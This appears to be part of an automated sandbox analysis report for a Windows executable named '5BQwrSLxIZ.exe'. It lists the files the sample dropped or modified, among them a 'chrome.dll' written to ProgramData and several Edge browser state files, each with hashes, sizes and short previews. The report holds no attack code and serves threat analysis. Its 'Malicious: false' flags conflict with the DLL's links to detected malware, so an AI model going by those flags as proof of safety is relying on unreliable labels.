Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.0.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6BC1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4595
Entropy (8bit):	4.491020407258306
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg77aI9hB1yWpW8VYeYm8M4Jl/FEp+q8KM+EJNed:uIjfVI7LB1T7VOJ4ktNed
MD5:	2364E442872F9CF858DDCAB0210B4A27
SHA1:	1563E95A67D7D57EC9A80CD47579A0E2F100EDDE
SHA-256:	23DB064B0BD7C27518A01626EDC6319F5496E2996BE544E792F5AEF8F49FA9ED
SHA-512:	B0B5B16911D679965BB9A7483F7EC92709E66DE11EEFF0D0254DC45859DF63041C1E7B21DA80A10475843FBD7056494E8571797144032AD028150467522D6430
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="565005" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\5BQwrSLxIZ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: X9d3758tok.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5b62db7d-4de8-4b33-bf9b-d525046a5cba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096304904931687
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBswuZhDO6vP6OIBzDqVq9C5JFeEzUNcGoup1Xl3j0:z/Ps+wsI7ynEx6ozchu3VlXr4CRo1
MD5:	691AB82FC62D35F35B304137A5836A53
SHA1:	85077B87B7497C3696465149EE8C2E84E9B3063E
SHA-256:	5D57761BDFD0F2502EE0367B469AD1B430E3EB5040AD6DE5E198FBCCAD660FC2
SHA-512:	FD94FD2D1E63EDBFB3B8E69D869868AF0780DD4CB6FD3E6DDAA9C638B06097AC79867F5AF9403759B00C4ABF5EE77C9C83E6176807251120961715DB94599BCD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7dd6364e-2921-4813-987c-5a2f1566d216.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096304904931687
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBswuZhDO6vP6OIBzDqVq9C5JFeEzUNcGoup1Xl3j0:z/Ps+wsI7ynEx6ozchu3VlXr4CRo1
MD5:	691AB82FC62D35F35B304137A5836A53
SHA1:	85077B87B7497C3696465149EE8C2E84E9B3063E
SHA-256:	5D57761BDFD0F2502EE0367B469AD1B430E3EB5040AD6DE5E198FBCCAD660FC2
SHA-512:	FD94FD2D1E63EDBFB3B8E69D869868AF0780DD4CB6FD3E6DDAA9C638B06097AC79867F5AF9403759B00C4ABF5EE77C9C83E6176807251120961715DB94599BCD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\92d6f07d-334c-45d6-9e98-84e692c2dfa2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44620
Entropy (8bit):	6.096300141553308
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBswuZhDO6vP6OIBzv9ThEOPcVGEHvcGoup1Xl3jVu:z/Ps+wsI7ynEx6oMchu3VlXr4CRo1
MD5:	4AF2F496AFC91856EC9F9B9FB2927E7D
SHA1:	82FDA3249BCA9BFA678D7DBE8839FA42C5960EFD
SHA-256:	8F20F56BF71D1017CFC5199A9B1B29768D12C1B65758F09852AF5A67F056C8E3
SHA-512:	6F8CA8E791BB878E438BEAFB28E379B7D1BA4F75C73890435291E323C2FBA7652C00685A2EBEC7EE27E0BA07A6B46DEF5A5CD37671E761D140A434DFA00A27B4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67211E82-1EDC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04457022651394266
Encrypted:	false
SSDEEP:	192:OUZ0pqtm1nOAWV6YlJgA8x5XSggykfhMNNE4mIx/0TQs++Rpnn8y08Tcm2RGOdB:DZ0ctiMtgk9hgHWK+/08T2RGOD
MD5:	EF3A1115EB3A2C5EADF3C05DF7DFCE37
SHA1:	0195EE9807C6C86B1284C5A3BD7188CF8D2C4A7A
SHA-256:	7E82CE6FC654C6C00C5D2A3DAE87211062D574907ED58F45D88C2AFF10DABFD7
SHA-512:	8C0F186173C33EDDC06452AF700D76610DFDEC6A7B6D42D3E95164E1025F6BEF329156B9C094A0BDCDD31DF92991B820E261ADF8825AC5FBD56B81A15FC2A03B
Malicious:	false
Preview:	...@..@...@.....C.].....@...............Hc...S..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".eoywaa20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749870837619
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Htbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEi6Gtbz8hu3VlXr4CRo1
MD5:	8F665D2686B8A493BC3441DC18182860
SHA1:	81BB06AA82396993055139B8086F50CECC538612
SHA-256:	97E980391F32DF6C2F55EE967173409C45119E1A7F3A4E63DCBB3046CF045758
SHA-512:	C9FAE8508415C405DD1B4CCD67C0600EBF8B822A79752A7AA3EF4A0211A74BBDF7D8EB10102CC0E695515F943F77CA9B4260989C425B9BB1910ABE7BEB345AB1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37ea7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749870837619
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Htbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEi6Gtbz8hu3VlXr4CRo1
MD5:	8F665D2686B8A493BC3441DC18182860
SHA1:	81BB06AA82396993055139B8086F50CECC538612
SHA-256:	97E980391F32DF6C2F55EE967173409C45119E1A7F3A4E63DCBB3046CF045758
SHA-512:	C9FAE8508415C405DD1B4CCD67C0600EBF8B822A79752A7AA3EF4A0211A74BBDF7D8EB10102CC0E695515F943F77CA9B4260989C425B9BB1910ABE7BEB345AB1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37fd0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749870837619
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Htbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEi6Gtbz8hu3VlXr4CRo1
MD5:	8F665D2686B8A493BC3441DC18182860
SHA1:	81BB06AA82396993055139B8086F50CECC538612
SHA-256:	97E980391F32DF6C2F55EE967173409C45119E1A7F3A4E63DCBB3046CF045758
SHA-512:	C9FAE8508415C405DD1B4CCD67C0600EBF8B822A79752A7AA3EF4A0211A74BBDF7D8EB10102CC0E695515F943F77CA9B4260989C425B9BB1910ABE7BEB345AB1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3800e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749870837619
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Htbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEi6Gtbz8hu3VlXr4CRo1
MD5:	8F665D2686B8A493BC3441DC18182860
SHA1:	81BB06AA82396993055139B8086F50CECC538612
SHA-256:	97E980391F32DF6C2F55EE967173409C45119E1A7F3A4E63DCBB3046CF045758
SHA-512:	C9FAE8508415C405DD1B4CCD67C0600EBF8B822A79752A7AA3EF4A0211A74BBDF7D8EB10102CC0E695515F943F77CA9B4260989C425B9BB1910ABE7BEB345AB1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c28823ba-998f-427f-959e-c9972e3c59de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749870837619
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Htbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEi6Gtbz8hu3VlXr4CRo1
MD5:	8F665D2686B8A493BC3441DC18182860
SHA1:	81BB06AA82396993055139B8086F50CECC538612
SHA-256:	97E980391F32DF6C2F55EE967173409C45119E1A7F3A4E63DCBB3046CF045758
SHA-512:	C9FAE8508415C405DD1B4CCD67C0600EBF8B822A79752A7AA3EF4A0211A74BBDF7D8EB10102CC0E695515F943F77CA9B4260989C425B9BB1910ABE7BEB345AB1
Malicious:	false
